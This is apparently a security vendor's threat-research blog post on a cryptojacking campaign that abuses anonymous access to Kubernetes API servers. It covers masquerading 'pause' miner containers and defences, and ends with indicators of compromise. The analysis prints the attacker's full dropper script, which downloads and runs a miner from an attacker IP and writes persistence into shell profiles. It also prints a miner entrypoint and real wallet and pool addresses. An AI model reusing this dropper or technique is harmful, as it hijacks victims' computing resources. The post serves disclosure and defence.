We have detected a new variant of an ongoing cryptojacking campaign targeting misconfigured Kubernetes clusters in our customers’ cloud environments.
In this incident, the threat actor abused anonymous access to an Internet-facing cluster to launch malicious container images hosted at Docker Hub, some of which have more than 10,000 pulls. These docker images contain a UPX-packed DERO miner named "pause". Interestingly, the threat actor has hard-coded their wallet and pool information into the miner executable, which enables the threat actor to execute the miner without any flags, probably as a defense evasion mechanism. The early stages of this campaign were documented in March of 2023, but our latest findings show that this threat actor has been working to adapt their techniques in response to this publication.
We used IOCs identified during the incident investigation as pivot points to find additional tools used by the attackers. Our analysis indicates that the threat actor employed various methods to propagate within target cloud environments and deploy miners. During our investigation, the attacker updated their Docker Hub repository images, indicating that the campaign is still active.
In this blog post, we will detail the incident, explain the changes and additions the threat actor has made to their tooling since this campaign was first documented last year, and provide best practices for defense and mitigation along with indicators of compromise (IoCs).
For more information about this incident and others impacting cloud environments, be sure to check out the Wiz Cloud Threat Landscape.
Technical analysis
Initial access
We determined the initial access vector to be an externally accessible Kubernetes API server with anonymous authentication enabled [T1190]. With anonymous auth enabled, every unauthenticated user interacting with the cluster API is assigned system:anonymous
user in system:unauthenticated
group. This user has only minimal permissions to operate on cluster resources; for example, list cluster version by accessing /version endpoint. Therefore, on its own, a public cluster with anonymous auth enabled is not a problem (after all, GKE and EKS employ this mode by default). However, when the system:anonymous
user or the system:unauthenticated
group is assigned non-default permissions, external unauthenticated users may abuse these permissions as they see fit, which may very well include malicious purposes. This is what happened in this incident.
Kubernetes deployments
After gaining initial access and verifying that the necessary permissions were present, the attacker proceeded to deploy various cryptominer workloads [T1610]. For example, a K8s deployment named k8s-device-plugin
in the kube-public
namespace with pods containing an image called nohuppo:pause
. Another example is a daemonset named pytorch-container
in the kube-system
namespace with pods containing an image called dockerproxies/pause
.
Overall, we observed five different deployments scattered across namespaces (the full list of the workloads and containers can be found in the Indicators of Compromise section at the end of this post).
It is evident that the attackers used benign-looking names for name confusion to make it harder to detect the malicious deployments [T1036.005]. For example, k8s-device-plugin
is a default name for NVIDIA operator deployment, and kubernetes-external-secret
is a take on the operator handling external secrets. Another interesting point to note is the distribution of workloads across different control plane namespaces to blend with the legitimate control plane workloads.
These masquerading techniques [T1036.005] can of course prove effective against cursory manual inspection but fail against more comprehensive protection and detection solutions.
Malicious docker images
The malicious docker images contain a miner named "pause" [T1036.005] which is located under /var/tmp
or /usr/local/bin
. The miner is a UPX-packed [T1027.002] DERO miner. The image’s entrypoint.sh
simply executes the miner:
#!/bin/bash
echo "ok"
sleep 10
./pause
The name of this container is likely intended to mimic that of the real “pause” container [T1036.005] [T1610] commonly found in Kubernetes clusters. This container normally serves as a minimal bootstrap container that sets up the network namespace for a pod, allowing all other containers in the pod to share the same network and IP address. This ensures consistent networking and resource management while consuming minimal resources. The legitimate pause container runs a minimal binary named “pause”. This binary essentially does nothing but serve to keep the container running, thereby maintaining the network namespace and other shared resources for the duration of the pod's lifecycle.
This is not the first-time attackers have chosen to mimic the “pause” container to hide malicious activity. For example, in September 2020 Microsoft documented TeamTNT using Docker Hub images named “pause” [T1036.005] [T1610] to facilitate cryptojacking [T1496] (check out this blog to learn more about how threat actors can leverage several types of Kubernetes containers and pods).
The miner
The threat actor compiled a DERO miner [T1496], an open-source miner written in Go.
However, they modified the original DERO code’s main function, hardcoding an encrypted wallet address and custom mining pool URLs into the binary [T1140].
The following snippet shows the new code that was added by the attacker, allowing them to run the miner without any suspicious command line arguments or configuration files, as a defense evasion technique.
We managed to extract the decrypted text by debugging the sample in our sandbox environment and adding a break point after the decryption function:
Further analysis allowed us to write a program that extracts and decrypts these strings statically, so we ran it on all samples and variants we found in customer environments and other sources. In total, we found two different wallet addresses among the different samples we analyzed:
dero1qyy8xjrdjcn2dvr6pwe40jrl3evv9vam6tpx537vux60xxkx6hs7zqgde993y
dero1qyhauw0rvt5sr0nvsg97n9wq0hg4s0hrj7xs09yw97tctfdqevxgzqgf40nxc
The original mining pool used by the attacker, community-pools.mysrv[.]cloud
which is a known Dero pool, was also used in this incident by some variants. However, in other variants, in addition to encrypted wallets, code was also added to hide additional mining pools:
Decrypting these revealed the following subdomains:
d.windowsupdatesupport[.]link
h.windowsupdatesupport[.]link
name.windowsupdatesupport[.]link
At the time of writing, these subdomains do not point to an active mining pool, but they have previously resolved to IP addresses of known DERO pool domains, according to VirusTotal. We assess that the attacker registered these domains [T1583.001] to evade detection by monitoring which may be scanning for DNS queries for known mining pools, but not for communication with their IP addresses.
Uncovering additional attacker activities
By pivoting in VirusTotal, we were able to find more tools we believe to be related to the same threat actor. These seem to indicate that besides exploiting misconfigured Kubernetes clusters as we observed in our investigated incident, the attacker has also been targeting other types of environments while using additional techniques:
A Windows sample of a UPX-packed [T1027.002] DERO miner (42e82a37cc6b44f7bc58c6ef6bf3e9e2) was uploaded to VirusTotal on February 24th, 2024. This sample hardcodes the same wallet seen in the “pause” Linux samples observed in this incident (dero1qyy8xjrdjcn2dvr6pwe40jrl3evv9vam6tpx537vux60xxkx6hs7zqgde993y).
A dropper script named
ddns.sh
was uploaded to VirusTotal on April 15th, 2024:
#!/bin/bash
for process in java-deamon py.elf getpy.sh; do
pid=$(ps -C "$process" -o pid= | grep -v PID)
if [ -n "$pid" ]; then
process_path=$(ls -l /proc/"$pid"/exe | awk '{print $NF}')
if [ -n "$process_path" ]; then
echo "Removing $process file: $process_path"
rm -f "$process_path"
fi
echo "Killing $process process"
kill -9 "$pid"
fi
done
if command -v nvidia-smi &> /dev/null; then
echo "Running nohup ./python3.6.3 &"
cd /tmp; mkdir .p && cd .p; wget https://github.com/develsoftware/GMinerRelease/releases/download/3.43/gminer_3_43_linux64.tar.xz; tar xvf gminer_3_43_linux64.tar.xz; rm -rf gminer_3_43_linux64.tar.xz *.sh miner.sig public.gpg readme.txt sample_config.txt; mv miner python3.6.3; nohup ./python3.6.3 --algo kawpow --server xna.2miners.com --port 16060 --user NYryXAGi7niFPk5FaxmqcY8hpTHmnFA9eT.TT --ssl 1 >/dev/null 2>/dev/null &
else
echo "Running nohup ./python3.8 &"
cd /tmp; mkdir .tmp && cd .tmp; wget http://209.141.32.182/cloud; mv cloud .python3.6 && chmod +x .python3.6; while true; do nohup ./.python3.6 >/dev/null 2>&1; done &
fi
script_path="/var/tmp/.ddns.sh"
echo "#!/bin/bash" > "$script_path"
cat "$0" >> "$script_path"
chmod +x "$script_path"
echo "Script saved."
if ! grep $script_path ~/.bash_profile > /dev/null;then
echo "$script_path >/dev/null 2>&1 & disown" >> ~/.bash_profile
fi
if ! grep $script_path ~/.bashrc > /dev/null;then
echo "$script_path >/dev/null 2>&1 & disown" >> ~/.bashrc
fi
echo "$script_path >/dev/null 2>&1 & disown" > ~/.bash_logout
for f in $(ls /home)
do
if ! grep $script_path /home/${f}/.profile > /dev/null;then
echo "$script_path >/dev/null 2>&1 & disown" >>/home/${f}/.profile
fi
done
echo "down."
The script first checks for the existence of java-daemon
, py.elf
, and getpy.sh
processes and terminates them if found. This is likely a measure to eliminate competing miner processes, as it is common for miners to vie for machine resources. Next, it checks if a GPU is present by checking if the nvidia-smi
command exists. If this check succeeds, the script will download [T1105] GMiner from GitHub and rename it as python3.6.3
and execute it. Otherwise, if the nvidia-smi
command does not exist, the script will download [T1105] a binary named cloud
from an attacker-controlled server (http:// 209.141.32[.]182/cloud
), rename it to python3.6
, and execute it with nohup [T1564.011]. Based on VirusTotal, the binaries served by this server were the same as those observed in this incident (22de8e4b08be5c2b1cc5eb2012739786 and cc47cb1bbef442d2f6aa7bc0b0843c88). Finally, the script tampers with bash history and other bash related logs to hide evidence of its execution [T1070].
The evolution of “pause”
Since this activity was first documented by CrowdStrike last year, the attacker has evidently implemented several measures to evade detection. Firstly, they utilized UPX-packing [T1027.002] to obscure the binary, making it harder for traditional antivirus tools to statically analyze and detect the malicious code. Additionally, the attacker embedded encrypted [T1140] wallet address and mining pool information directly within the binary, bypassing detection methods that monitor command-line arguments for suspicious activity. Finally, they registered domains [T1583.001] with innocent-looking names to avoid raising suspicion and to better blend in with legitimate web traffic, while masking communication with otherwise well-known mining pools. These combined tactics demonstrate the attacker's ongoing efforts to adapt their methods and stay one step ahead of defenders.
Activity timeline
According to our analysis, the earliest indication of this activity was the creation of the domain windowsupdatesupport[.]link on May 7th, 2023. As of this writing, there are active DNS queries to this domain, suggesting that the threat is ongoing.
As for the Docker Hub users who added the malicious images:
dockerproxys joined Docker Hub on March 19th, 2024. The images hosted by this user were last updated on May 16th, 2024.
pausehubs joined Docker Hub on February 20th, 2024.
nohuppo joined Docker Hub on July 31st, 2023.
We informed Docker Hub about these accounts, and they took down dockerproxys and nohuppo.
How can organizations defend themselves?
To make sure that your organizations’ Kubernetes clusters are not susceptible to this type of attack, consider taking the following precautionary steps that implement firewalling and user access control:
Disable external cluster access: Unless external network access to the cluster is absolutely necessary, always create a private cluster without public internet exposure. This alone will prevent opportunistic attackers from launching similar attacks against your clusters.
Disable anonymous cluster access:
For managed EKS and GKE clusters: make sure there are no additional roles associated with
system:anonymous
orsystem:unauthenticated
.For unmanaged clusters: disable anonymous authentication mode if possible. If anonymous authentication is necessary, ensure that only minimal roles are associated with
system:anonymous
andsystem:unauthenticated
.
How Wiz can help
Prevention
Wiz customers can use the following controls to detect instances in their environment of the toxic risk combinations exploited by the attackers as an initial access vector:
"Publicly exposed Kubernetes API server with a non-trivial anonymous user role" (HIGH)
“Publicly exposed Kubernetes API server with a high-privileged anonymous user role" (CRITICAL)
Both controls alert when an externally-accessibly Kubernetes cluster is found with anonymous authentication enabled (default on EKS and GKE) and a non-trivial role permission assigned to an anonymous user.
Customers also have an option to deploy the Wiz Admission Controller with the pre-defined policies of image signature verification and registry origin. These policies can prevent similar attacks by blocking untrusted container image execution.
Detection
Wiz customers can use the Wiz Sensor and Threat Detection Rules to be alerted of actions performed in their environment that could relate to the aforementioned attack. Wiz has multiple detection rules and single-event rules, as well as rules correlating between multiple sources. Streaming various sources (cloud logs, K8s audit logs, Wiz sensor events etc.) allows Wiz to deliver high fidelity detections and provide a full picture of an attack.
Kubernetes audit log–based rules detect initial actions by anonymous users.
The Wiz Runtime Sensor detects cryptojacking attacks by combining different event types, such as detecting sustained high CPU utilization by a suspicious process.
Summary
In this blog post, we detailed how a long-running cryptojacking campaign targeting misconfigured Kubernetes clusters has adapted over time to evade detection. We listed IoCs and provided recommendations for how to avoid these types of attacks.
This incident should encourage organizations to adopt a security-posture solution, enabling security teams to mitigate toxic risk combinations and reduce attack surfaces vulnerable to threat actors. Additionally, this should be paired with a runtime protection mechanism capable of swiftly identifying and addressing security breaches before they cause significant harm.
While there was no evidence that the threat actor moved laterally from the Kubernetes cluster to the larger cloud environment in this instance, attackers can certainly do so if strong security boundaries are not in place. To learn more about preventing lateral movement from cluster to cloud, check out our blog on the subject.
Feel free to reach out to threat.hunters@wiz.io if you’ve been impacted by this activity or wish to exchange further information and IoCs that might assist in ongoing analysis.
Indicators of Compromise
Kubernetes IoCs
Kubernetes Deployments and Daemonsets:
k8s-device-plugin-7c8fb68474
pytorch-container
kubernetes-external-secret
service-clusterip
autoscaler-first-release
Kubernetes namespaces:
kube-system
kube-public
kube-node-lease
Container names:
konnectivity-agent
pytorch-container
kubernetes-external-secrets
service-clusterip
autoscaler-first-release
Container images:
Wallets:
NYryXAGi7niFPk5FaxmqcY8hpTHmnFA9eT.TT
dero1qyy8xjrdjcn2dvr6pwe40jrl3evv9vam6tpx537vux60xxkx6hs7zqgde993y
dero1qyhauw0rvt5sr0nvsg97n9wq0hg4s0hrj7xs09yw97tctfdqevxgzqgf40nxc
Network:
community-pools.mysrv[.]cloud
d.windowsupdatesupport[.]link
h.windowsupdatesupport[.]link
name.windowsupdatesupport[.]link
update.windowsupdatesupport[.]link
209.141.32[.]182
DERO-miner:
Binary location on malicious image:
/var/tmp/pause
/usr/bin/pause
File hashes
Architecture | SHA256 | SHA1 | MD5 |
---|---|---|---|
Linux - amd64 | 68656198c24d6b32c4916a5686906c62baf7d6baae3b1d7dc615e43cb6d3fca8 | 427aee9ff60df3c102c3feab5319da34ecbf4b70 | 22de8e4b08be5c2b1cc5eb2012739786 |
Linux - amd64 | e4aa649015b19a3c3350b0d897e23377d0487f9ea265fe94e7161fed09f283cf | 7a60e8398cd4f9bd46b6bcf9bfa9863c1bf87ea8 | 14e7fb298049a57222254ef0f47464a7 |
Linux - amd64 | 49e8422e5f273a564c15755711ab2a35a1deb2105bbe1a0a8ce670c9b38721e5 | 464c26c2ed6c06508ce975aeee2d589c9a2fdac2 | cc47cb1bbef442d2f6aa7bc0b0843c88 |
Linux - amd64 | ad2ee0040f88a9001a32f945ce15de2dd1126c0f9f6cb626f2de0163792d8ff7 | 244e98c20acb54d7ef65b57d4cd364aa9d46731d | b6224dc51657a32e1aec1ca2a74c424a |
Linux - amd64 | 649a6fa70b26e5382652808348522b5e7f43f2f77a1b10a4cc5e5bfd5cb80327 | 02e20e6d1b870d1365028246617ede951f399567 | eea6a4938a53eb5e4e254812b3f150c6 |
Linux - amd64 | 06d080c816f099cccab56e4b596128e73cd63f524bdc2ddf5dd78c26f409f219 | 59a835e812374c748d038498b70c04d0f36a8751 | 0576d33ec4bcd20966c3a24c210e0cad |
Linux - amd64 | 561790bd60258e056c72755bbaf848cfe5c3af548882c6a6579a599192bce3d2 | 812860c0db73cb2224fe862c0bfd8c7485fc0807 | 207e358ed42fe1346213480f64a91442 |
Linux dropper (ddns.sh) | e1de787777faba85dcca4e10d945553aefdba14b1995cca7cf0721ee571c7e96 | 8fd9157811ea69a7253d3fadbea19b4cbb1a6ccd | 7c28e0727c74890b3998716967ab8339 |
Linux – arm | d6b14a4fbe5b9adbc0094098b4690ba5f5426247e21474915c408ca4553fcd49 | c744dbf1bfa9f410111625f0b1c605a2b5f968d8 | 806b91c933e2202d5b6d836af9162e28 |
Windows | 9131aac1df4b3a610f5fe69c55fdc19f07055648c0081e61536eb903e0914dc2 | 8c6793ec6b0459a75f114d0d18785af9ca56b75e | 42e82a37cc6b44f7bc58c6ef6bf3e9e2 |
MITRE ATT&CK® Techniques
Command and Control - Ingress Tool Transfer (T1105)
Defense Evasion - Deobfuscate/Decode Files or Information (T1140)
Defense Evasion - Hide Artifacts: Ignore Process Interrupts (T1564.011)
Defense Evasion - Indicator Removal (T1070)
Defense Evasion - Masquerading: Match Legitimate Name or Location (T1036.005)
Defense Evasion - Obfuscated Files or Information: Software Packing (T1027.002)
Execution - Deploy Container (T1610)
Impact - Resource Hijacking (T1496)
Initial Access - Exploit Public-Facing Application (T1190)
Resource Development - Acquire Infrastructure: Domains (T1583.001)